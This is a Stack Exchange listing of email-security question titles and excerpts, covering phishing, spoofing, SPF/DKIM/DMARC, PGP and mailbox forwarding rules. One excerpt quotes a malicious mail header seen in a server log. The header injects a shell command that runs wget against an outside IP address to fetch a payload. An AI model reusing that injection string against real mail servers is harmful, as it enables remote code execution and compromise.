Questions tagged [email]
Related to email protocols, clients, servers, content, and message format.
1,426
questions
-5
votes
0answers
50 views
How to show hidden characters in an email [on hold]
c************e@yahoo.com
This is an example of email that can be found in your account
Is their any script to show characters as plain text?
I haven't tried any tools because i cant find one
This ...
-1
votes
0answers
46 views
How do I recover old emails from a GoDaddy email server? [closed]
I have hosting with a secure email service provided by GoDaddy. Recently, I changed the email hosting to AWS, but there are a few emails on the old server. Is there any possibility to get them back?
3
votes
1answer
45 views
Can any private key information be exposed when signing an email? [duplicate]
So I know that PGP encrypted email can be vulnerable to a known-plaintext attack from a known, consistant email footer or greeting (“Hello”, “Yours truly, xxx”, etc), but does the same thing apply to ...
-2
votes
0answers
50 views
how to mitigate mailsploit
If a mail sender encodes the sender address in the from: field, the Mail Transfer Agent only checks the sender after the unencoded @. In this way, protection mechanisms like SPF/DKIM/DMARC are ...
1
vote
1answer
62 views
Bypassing NET::ERR_CERT_DATE_INVALID
When I try to access the Openmailbox web site, Google Chrome returns a NET::ERR_CERT_DATE_INVALID error. The details state that "openmailbox.org normally uses encryption to protect your information. ...
0
votes
0answers
32 views
How to automatically obtain keys in Evolution for e-mail recipients? (key discovery) [migrated]
I am using the PIM Evolution 3.22.6 for e-mail and contacts. For encrypting e-mails gpg (GnuPG 2.1.18) is used by Evolution.
How can I configure my system such as when I compose an e-mail the PGP ...
1
vote
1answer
65 views
Can a forwarding rule be set on Outlook that will not be visible on office365/exchange admin interface?
In an incident concerning a user's mailbox - will any rule that forwards emails to a potential attack be visible in the office365/exchange admin interface, or is it possible to set an outlook client-...
0
votes
0answers
48 views
Using an encrypted email and forwarding address [closed]
My main email is encrypted email and I give out another email address that is forwarded to my main email. For me, it creates an extra layer of protection, or so I like to think it does. Does it? Or ...
2
votes
1answer
84 views
I received an phishing email from myself [duplicate]
So today when I was checking my spam folder on my outlook account, I noticed I had received an email from my own address.
The email looks like a typical scam:
Claims to have installed a RAT on my ...
0
votes
1answer
74 views
Email including self-shredding macro after “Seen” flag is set
Bob sent an email to Alice with nothing much useful and tenuous ( but because it isn't useful it can ruin Bob's reputation if bad Alice decide to publish. )
Is there a way for Bob to include a ...
0
votes
1answer
100 views
Bizarre email sent from spam email address with contact details of someone I know and a friend of their's in it [on hold]
Someone I know (call them Darren Smith) recently received a rather odd email. It was sent to their personal email address, emailaddresswithnonameinit@emailprovider.com. The "From" field had "Darren ...
3
votes
2answers
83 views
What prevents malicious servers from spoofing mail transfer agents and/or mail delivery agents?
An email system typically consists of multiple agents:
Mail user agent (MUA)
Mail submission agent (MSA)
Mail tranfer agent (MTA)
Mail delivery agent (MDA)
Evidently the 'middlemen' of this system ...
7
votes
1answer
1k views
How Concerning Is This X-CU-modified: FAKECU Text Attack?
A user clicked on the link of this email and entered their credentials, thinking the message was legitimate. However, the link didn't redirect to the fake site, and instead their mail client sent them ...
0
votes
1answer
36 views
Outlook email and my ip address [duplicate]
If I send someone an email using Outlook online, can the recipient know my IP?
I knew before that it was possible but I was wondering if the email providers like Outlook, Gmail had added some sort of ...
0
votes
1answer
41 views
Theoretical DKIM Question
I have been playing around with sending emails via telnet using text commands.
Theoretically...
Say I send an email from a typical mail agent that adds a dkim signature from a@a.com to b@b.com.
...
23
votes
12answers
12k views
Is there a way to hide HTML source code yet keeping it effective?
I have a website with a client-side HTML contact form created manually (not as output of an HTML constructor like PHP):
<form action="mailto:someone@example.com">
Email Adress:<br>
...
1
vote
1answer
61 views
Why do we need DKIM to be used along with S/Mime?
S/Mime can be used to encrypt email and it can also be used by the sender to provide his digital signature so that the recipient is able to confirm the authenticity of the sender.
Why then do we ...
0
votes
2answers
49 views
Spam email sign ups from HeadlessChrome?
I built a landing page with a "sign up with your email to get notified" sort of thing. The button executes some AJAX and submits to a PHP file which sends an email to me. Now, I'm getting a bunch of ...
39
votes
2answers
11k views
How do email clients “send later” without storing a password?
Email clients like Spark for macOS have a feature where a user can send an email later, at any given time, even when the computer is turned off. An SMTP server needs a password based authentication, ...
0
votes
1answer
158 views
Email phishing, understand mail header
I try to understand phishing email received from an attacker:
Received: ....
Received: ....
Received-SPF: Pass (sender SPF authorized) identity=mailfrom; client-ip=74.208.4.XX; helo=mout.gmx.com; ...
1
vote
3answers
135 views
How to tell if an email source is spoofed?
I've received an email to my gmail account from FCMB, a bank in Nigeria (flashing warning lights already). It's not addressed to me (i.e., the email starts off "Dear Daniel," [not my name]). But the ...
0
votes
1answer
49 views
response when sent emailed links to personal information
I'm filling out tax information. The accountants out-source the survey collecting the tax info to another company. Seems fair enough - I'd rather have computer experts handle the technical ...
1
vote
0answers
65 views
I'm looking for an email provider like this [closed]
I am looking for email providers with the following conditions for privacy.
email providers that:
Are free.
Do not require JavaScript or other credentials for registration.
Provide an onion service.
...
0
votes
1answer
141 views
Do I REALLY need to change my email password when idnotify.com Dark Web Monitoring recommends?
I occasionally get alerts from idnotify.com Dark Web Monitoring, such as this one:
08/31/2019
COMPROMISED EMAIL ADDRESS
Email Addresses: Jt***an@gmail.com
Date Found: 08/26/2019
Password ********...
30
votes
10answers
7k views
Received email from ISP saying one of my devices has malware
My dad received a suspicious email from our ISP (mtnl.net.in).
The email was from noreply@mtnl.net.in and it had our user ID (I masked it as xxxxxxxx@a) in the email so it must have come from the ISP ...
1
vote
2answers
68 views
Emailing Medical Records Securely
Some doctors' offices give a personal email address, like Yahoo! or Gmail for patients to email medical records. What questions should I be asking them to make sure the email account is secure? Even ...
21
votes
4answers
5k views
Redacting URLs as an email-phishing preventative?
In a large organization (e.g., a city staff), relying on human behavior to prevent phishing attacks isn't nearly effective enough. While it would be somewhat inconvenient (security usually is), I'm ...
0
votes
0answers
46 views
Received Google calendar invite but no organizer?
Whenever my wife and I invite each-other to an event which we create we always see the organizer above the guest but this spam invite does not have one.
How is this possible? Can I achieve this?
3
votes
3answers
179 views
Why is DMARC failing when SPF and DKIM are passing?
I've seen this question asked before, but unfortunately, don't understand the responses. I think its something to do with "from" headers being defined differently by different standards. I've added ...
1
vote
2answers
123 views
TLS 1.0 Deprecation and Mitigation Tactics
With the deprecation of TLS 1.0 on the horizon, I'm curious how others are handling connectivity and mail delivery issues for dated client environments.
Lets face it, there are more environments live ...
0
votes
2answers
169 views
How does someone know i clicked a link in an email? URL spoofing? JSON?
How do hackers/scammers know that I clicked a link? Why is my personal info in the url redirect link? Is this info then being stored in a database and the hacker/scammer knows that because this ...
1
vote
1answer
60 views
Is it ok to assume a user has opted-in to receive emails in an application where the main purpose is sending notifications [closed]
I'm working on a web application where the main purpose/functionality is notifying users when there have been changes to regulations in a particular industry.
The application is subscription based, i....
1
vote
1answer
136 views
Mindlessly clicked days old phishing email link appeared dead
Was multitasking and mindlessly clicked Squarespace phishing email. Page didn't load, and right away I realized my mistake. Completed several malware scans which came back clean. The button link ...
0
votes
1answer
77 views
Viewing URLs on Mobile Devices
What are you doing to help your users view URLs in emails on mobile devices? Our training program is helping people to understand how to view URLs before clicking the actual link. On mobile devices ...
3
votes
2answers
151 views
Mail interception fraud
My company has been the target of a mail fraud attempt for the second time this year.
The fraud goes as followed:
My company sends an invoice to a customer from the email address alice@mycompany.com ...
0
votes
1answer
88 views
Possible dangers of .doc files
I just recieved some generic work related mail with word file attached that was requesting to Enable Editing in order to view its content. I'm not going to fall for it but it got me wondering. What ...
2
votes
3answers
164 views
Password reset vs change
My webapp has "password reset" and "password change" functionality.
Password "reset" is typical: user clicks "I forgot my password", enters his email, one-time link emailed there, he visits a form to ...
1
vote
1answer
91 views
Exchange sensitive information through public chat
Is there a way to exchange phone numbers/email addresses through public chats with a person without giving them or other communication information away to all the other people in the public chat?
...
0
votes
3answers
145 views
IP address opening email
Company sends me an email to my gmail.com account.
I open the email in my gmail account. It turns from bold to grey, showing it has been read by me. I do not reply to it.
Can the company gauge my IP ...
3
votes
2answers
209 views
Outlook rule to forward all emails - is that a common scam?
Recently we had a security problem. One email account which is based on MS Exchange 365 was hacked and the hacker forwarded all emails per rule to a Gmail account.
I checked all relevant PCs and I ...
0
votes
1answer
75 views
Are there any kinds of ID where it would be safe to email a photocopy of that ID?
I am developing an online registration form for a discount program whose eligibility can be determined by examining a person's ID. When a user submits the form, he or she is asked to upload a ...
3
votes
2answers
181 views
Account verification emails with links vs codes
I need to send verification emails for things like
email verification
password reset
email change
password change
In the past most webapps would send an email with a clickable verification link ...
0
votes
1answer
83 views
Deeplinks in email that autologin
I'm wondering if a deep link in an e-mail that automatically authenticate even though the session is expired is GDPR compliant. For instance if I send an e-mail to a user with links to the internal ...
1
vote
1answer
147 views
Is there a way to check the authenticity of a forwarded email?
This question relates to an answer on Skeptics.SE. Read the comment where somebody wrote "Even if you forward someone the email you received, we can't be sure you didn't fake it." Is this statement ...
2
votes
1answer
70 views
Solution to block email sending to domains with typo error
I'm trying to find a solution to block the sending of emails to domains with typo errors in it, for example gmai.com or outlok.com.
I am working for a client who uses Office 365 that would like to ...
1
vote
0answers
84 views
Accessing Gmail if you are the owner of domain that someone else uses
Say Person A (Adam) owns the domain example.com, but is allowing free use of the domain name to his friend, Person B (Bill). As the owner of the domain, Adam logs into his registrar and points the ...
-1
votes
1answer
84 views
Is it possible to intercept messages from email address or phone number that is expired? if yes, how? [closed]
I used to have an email account for receiving important messages but it was deleted by the email provider in which they claimed that deletion of the email address is still in progess but cannot be ...
0
votes
0answers
20 views
Executable Code in Mail Headers [duplicate]
Recently I noticed someone delivering email to my server root account with headers like this:
X-Original-To: root+${run{x2Fbinx2Fsht-ctx22wgetx20199.204.214.40x2fsbzx2f45.79.163.30x22}}@host....
1
vote
2answers
137 views
Weird character sequence in email subject
I've noticed that the subject in one of the spam emails looks like this in source:
Subject: Offe=?UTF-8?Q?=EF=BB=BF?=r fr=?UTF-8?Q?=EF=BB=BF?=om C=?UTF-8?Q?=EF=BB=BF?=redi=?UTF-8?Q?=EF=BB=BF?=t On=?...
2
votes
1answer
179 views
Mystery link containing fragment identifier in malicious email
The following link was received in a suspected phishing attack email. Unfortunately, the recipient clicked on the link in their outlook client:
<tr>
<td class="m_-[string-of-19-numbers]...
